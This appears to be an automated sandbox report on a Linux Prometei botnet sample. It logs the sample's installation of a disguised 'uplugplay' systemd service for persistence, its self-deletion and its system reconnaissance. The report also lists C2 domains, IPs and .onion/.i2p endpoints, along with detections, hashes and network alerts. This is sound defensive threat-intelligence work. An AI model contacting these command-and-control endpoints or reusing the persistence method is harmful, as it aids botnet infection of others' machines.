Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/238/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/239/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/239/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3630/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3630/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/914/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/914/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/917/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/917/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3758/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/19/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/19/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/240/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/240/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3095/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/241/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/241/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/242/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/242/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/244/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/244/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/3/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/124/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/245/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/245/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/1588/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/125/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/125/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/4/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	File opened: /proc/4/cmdline	Jump to behavior

Source: /tmp/na.elf (PID: 5442)	Shell command executed: sh -c "pgrep na.elf"	Jump to behavior
Source: /tmp/na.elf (PID: 5446)	Shell command executed: sh -c "pidof na.elf"	Jump to behavior
Source: /tmp/na.elf (PID: 5450)	Shell command executed: sh -c "pgrep uplugplay"	Jump to behavior
Source: /tmp/na.elf (PID: 5456)	Shell command executed: sh -c "pidof uplugplay"	Jump to behavior
Source: /tmp/na.elf (PID: 5466)	Shell command executed: sh -c "pgrep upnpsetup"	Jump to behavior
Source: /tmp/na.elf (PID: 5470)	Shell command executed: sh -c "systemctl daemon-reload"	Jump to behavior
Source: /tmp/na.elf (PID: 5475)	Shell command executed: sh -c "systemctl enable uplugplay.service"	Jump to behavior
Source: /tmp/na.elf (PID: 5480)	Shell command executed: sh -c "systemctl start uplugplay.service"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5494)	Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5501)	Shell command executed: sh -c hostnamectl	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5505)	Shell command executed: sh -c hostnamectl	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5643)	Shell command executed: sh -c uptime	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5644)	Shell command executed: sh -c uptime	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5649)	Shell command executed: sh -c "uname -a"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5653)	Shell command executed: sh -c "uname -a"	Jump to behavior

Source: /bin/sh (PID: 5443)	Pgrep executable: /usr/bin/pgrep -> pgrep na.elf	Jump to behavior
Source: /bin/sh (PID: 5451)	Pgrep executable: /usr/bin/pgrep -> pgrep uplugplay	Jump to behavior
Source: /bin/sh (PID: 5467)	Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetup	Jump to behavior

Source: /bin/sh (PID: 5471)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5476)	Systemctl executable: /usr/bin/systemctl -> systemctl enable uplugplay.service	Jump to behavior
Source: /bin/sh (PID: 5481)	Systemctl executable: /usr/bin/systemctl -> systemctl start uplugplay.service	Jump to behavior

Source: /usr/sbin/uplugplay (PID: 5495)	Reads from proc file: /proc/cpuinfo	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5495)	Reads from proc file: /proc/stat	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5495)	Reads from proc file: /proc/meminfo	Jump to behavior

Source: /tmp/na.elf (PID: 5439)

File: /usr/sbin/uplugplay (bits: -v usr: x grp: x all: r)

Jump to behavior

Source: /tmp/na.elf (PID: 5439)

File written: /usr/sbin/uplugplay

Jump to dropped file

Source: submitted sample

Stderr: Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.: exit code = 0

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/na.elf (PID: 5439)

File: /usr/sbin/uplugplay

Jump to dropped file

Sample deletes itself

Source: /tmp/na.elf (PID: 5439)

File: /tmp/na.elf

Jump to behavior

Source: na.elf	Submission file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: na.elf	Submission file: segment LOAD with 7.943 entropy (max. 8.0)
Source: uplugplay.12.dr	Dropped file: segment LOAD with 7.6054 entropy (max. 8.0)
Source: uplugplay.12.dr	Dropped file: segment LOAD with 7.943 entropy (max. 8.0)

Source: /usr/sbin/uplugplay (PID: 5495)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /usr/bin/pgrep (PID: 5443)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5451)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5467)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5495)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5645)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5646)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: /tmp/na.elf (PID: 5439)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5482)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5495)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 5650)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 5654)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5507)	Queries kernel information via 'uname':	Jump to behavior

Source: /bin/sh (PID: 5650)	Uname executable: /usr/bin/uname -> uname -a			Jump to behavior
Source: /bin/sh (PID: 5654)	Uname executable: /usr/bin/uname -> uname -a			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	4 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Proxy	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
na.elf	37%	Virustotal		Browse
na.elf	47%	ReversingLabs	Linux.Trojan.Generic
na.elf	100%	Avira	LINUX/GM.Agent.JQ

Dropped Files

Source	Detection	Scanner	Label	Link
/usr/sbin/uplugplay	100%	Avira	LINUX/GM.Agent.JQ
/usr/sbin/uplugplay	47%	ReversingLabs	Linux.Trojan.Generic

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
xincacfda.org	85.214.228.140	true	false	unknown
xinchaocacfda.net	54.255.164.76	true	false	high
xinchaocacfda.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni	na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://upx.sf.net	na.elf, uplugplay.12.dr	false	high
http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi	na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi	na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://152.36.128.18/cgi-bin/p.cgi	na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://dummy.zero/cgi-bin/prometei.cgi	na.elf, 5439.1.000000000052d000.0000000001575000.rw-.sdmp	false	high
http://152.36.128	na.elf, uplugplay.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.255.164.76	xinchaocacfda.net	United States	16509	AMAZON-02US	false
85.214.228.140	xincacfda.org	Germany	6724	STRATOSTRATOAGDE	false
152.36.128.18	unknown	United States	81	NCRENUS	true

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.255.164.76	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
85.214.228.140	Request for Quotation 2170032137 PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/cwlwsc
	Swift_Message_Notification_MTC-U27635728_03-2025.exe	Get hash	malicious	PureLog Stealer, RedLine, XWorm	Browse	dlynankz.biz/cfidxwjxxl
	CV_Sales Representative - Job Request PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/dielwuec
	Supply Tender documents PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/nkw
	DHL Original Shipment Document PDF.exe	Get hash	malicious	FormBook	Browse	dlynankz.biz/okmfwvwiisx
	MUH030425.exe	Get hash	malicious	Azorult	Browse	dlynankz.biz/rgpseg
	redline stealer.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	dlynankz.biz/blyebryociterum
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Azorult	Browse	dlynankz.biz/lejhhlqrs
	Ziraat_Bankasi_Swift_Messaji_9238MQ54.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	dlynankz.biz/stshoshftrar
	Ziraat_Bankasi_swift_Messaji.cmd	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	dlynankz.biz/qe
152.36.128.18	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=2&i=FR9U955TZJ3YD7R8
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=10&i=WUCE259921TCJ9H2
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=19&i=3WP436C5004XD860
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=8&i=Y0305S9G5R9AE46V
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=15&i=J9A07108E63S5OI4
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=12&i=3N03LA8E90TB3O47
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=8&i=0C2S843BU7275HMF
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=35&i=114Y2XF4R57W59E7
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=21&i=72VB794V58O4SC9D
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18/cgi-bin/p.cgi?r=11&i=6744F886811DMCM1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xincacfda.org	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
xinchaocacfda.net	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	miner.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	microsftgoodforenoughtogetstory.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	nicenamewithgreatskillworkingon.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	sjjh.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	SecuriteInfo.com.Win64.MalwareX-gen.20059.3580.exe	Get hash	malicious	Unknown	Browse	44.234.3.221
	hiss.arm7.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
	arc.elf	Get hash	malicious	Mirai	Browse	54.247.62.1
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	https://scribehow.com/page/Adobe_PDF_Document__Heb44GIjSfq2CGzJcxhYmA	Get hash	malicious	Unknown	Browse	52.219.120.122
STRATOSTRATOAGDE	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
	na.elf	Get hash	malicious	Prometei	Browse	85.214.228.140
NCRENUS	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18
	na.elf	Get hash	malicious	Prometei	Browse	152.36.128.18

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/CommId

Download File

Process:	/usr/sbin/uplugplay
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:AxdVd8Mn:Abjn
MD5:	6D377BC608E2A0F39AED76D090876313
SHA1:	0D62F755A01776931B4A9F63DF65EB5901C2865F
SHA-256:	3149C1A65E83136E9FEE51BD6CDD0029196BC0BC1E7CC2E81FC9C1BC245F26D1
SHA-512:	7276E3E554724E6DF8E6E5B6E6A6F047BF913235CD5D2472DED8F19A175677BD13F28DB88FFA2B385ACB925E0611A2CD060C1C646F8BC34A0702D95E6D30446E
Malicious:	true
Reputation:	low
Preview:	SS5O78A078064Y29

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	high, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/usr/lib/systemd/system/uplugplay.service

Download File

Process:	/tmp/na.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.769509838572339
Encrypted:	false
SSDEEP:	3:zMZa75X1PxQJqtWA1+DRvBADMikAdIgQ+aQmNJX4ev+sirSkQmWA1+DRvn:z8uXcqtWA4RZAMD+aBNdhTILQmWA4Rv
MD5:	8CA62D1F47880BCE036C2956C9B7B272
SHA1:	3BCC3A5C4FCC5B0D08C4524A59F6B8E113B62060
SHA-256:	C655D3D4E374FAD38313EC4262207B2D7D68A870238F203EF3C33F85E66C8E32
SHA-512:	4CD2D9D67151FA25E833707DEE2442C4A5F752053FC2C36EC73C0E2B734C66CA69C63FCEB47714D9ADD5B9FE2EEE1E45BE5199E2CAE7C26173E766B333877DA6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[Unit].Description=UPlugPlay.After=multi-user.target..[Service].Type=forking.ExecStart=/usr/sbin/uplugplay..[Install].WantedBy=multi-user.target.

/usr/sbin/uplugplay

Download File

Process:	/tmp/na.elf
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Category:	dropped
Size (bytes):	435932
Entropy (8bit):	7.942799400266833
Encrypted:	false
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgS:25WOSACZSV6eKRH5EPiamb4DsDwwci
MD5:	D057DAB2516CD9A1A043A7E39C8CCBB2
SHA1:	08AEC62A59428DB8064DAF07312DF7388B00B8E5
SHA-256:	9C8C37F95685468B6743B236BE4C0A3F03251BCBC8F41AF5E3CBF1973831DACE
SHA-512:	8C48E0903CA10CAE1572DE66712757008BE8C2EBAFE479BC808F087CC84FF462B337CA01D2D6BA515634F78031E0E18740A5E74B4C2E2D0EE4934EF00AF196C8
Malicious:	true
Yara Hits:	Rule: Linux_Trojan_Dofloo_ac3333d1, Description: unknown, Source: /usr/sbin/uplugplay, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v..p............. ..ELF......>....@.......0..'8..........W.3c..-.......o..K>...@!v..{_bo./.O7.%....o.....l..-.R..XOH....6..o..p..@... ....om.r2...D_..n.D...O...M(.S.td...POQn..PpnG.oRO!..=.0...%I.$...@.P.............y......GNU....'..l......?D....N...k.n..m"c...i......._....R.%..y...#N./ $../..p.E....v!#...._..r....K....../0.\|.....p.L.........H...._...#/v..._P.C2.b.`....y!.K...x!...@p.2.".oh...`......X.B.C;P_.L/H....@...N..8?.0O.C;.`(...q.\. ..O.$ar .@%I.!v...}...I&.n.......H...H...H..t..."...9.....?..%.....D................................}....ume....]U....ME=....5-%...................&..E.t$..T$.<{....%.....H.\|$...~.9.g...Sd2.OH.. ......kn(...$. 1.H9..+..t>d....4..u......~2..w..H.. mU.H.=d...o...V..`...V..=[._w.Ru6..O

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy (8bit):	7.942799400266833
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	na.elf
File size:	435'932 bytes
MD5:	d057dab2516cd9a1a043a7e39c8ccbb2
SHA1:	08aec62a59428db8064daf07312df7388b00b8e5
SHA256:	9c8c37f95685468b6743b236be4c0a3f03251bcbc8f41af5e3cbf1973831dace
SHA512:	8c48e0903ca10cae1572de66712757008be8c2ebafe479bc808f087cc84ff462b337ca01d2d6ba515634f78031e0e18740a5e74b4c2e2d0ee4934ef00af196c8
SSDEEP:	6144:63fxS1fHETSACF2Gzm5DVvSHrKKRH4SCra+HWMiFbcAOXmb4Dsi6wwcitgS:25WOSACZSV6eKRH5EPiamb4DsDwwci
TLSH:	8E9423F8C87D2E3098169F3CBB1A8268F0A15772D9562B6EB51AF5732179F1FAC60101
File Content Preview:	.ELF..............>.....`.].....@...................@.8...........................@.......@.............XH...............................PW......PW.....M.......M...............Q.td....................................................V..9UPX!............!v.

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x15de360
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	0
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x400000	0x400000	0x1000	0x1174858	7.6054	0x6	RW	0x1000
LOAD	0x0	0x1575000	0x1575000	0x69e4d	0x69e4d	7.9430	0x5	R E	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-20T11:28:41.850956+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.13	34320	152.36.128.18	80	TCP
2025-03-20T11:28:44.692645+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.13	34322	152.36.128.18	80	TCP
2025-03-20T11:30:46.090369+0100	2044560	ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern	1	192.168.2.13	52778	8.8.8.8	53	UDP
2025-03-20T11:30:46.192017+0100	2044560	ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern	1	192.168.2.13	43144	8.8.8.8	53	UDP
2025-03-20T11:30:46.293956+0100	2044560	ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern	1	192.168.2.13	53280	8.8.8.8	53	UDP
2025-03-20T11:30:47.487725+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.13	36700	54.255.164.76	80	TCP
2025-03-20T11:30:48.040817+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.255.164.76	80	192.168.2.13	36700	TCP
2025-03-20T11:30:48.040817+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.255.164.76	80	192.168.2.13	36700	TCP
2025-03-20T11:30:48.252658+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.13	45456	85.214.228.140	80	TCP

Network Port Distribution

Total Packets: 27
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 11:28:41.481755972 CET	34320	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:41.618575096 CET	80	34320	152.36.128.18	192.168.2.13
Mar 20, 2025 11:28:41.618675947 CET	34320	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:41.629297018 CET	34320	80	192.168.2.13	152.36.128.18
Mar 20, 2025 11:28:41.821724892 CET	80	34320	152.36.128.18	192.168.2.13
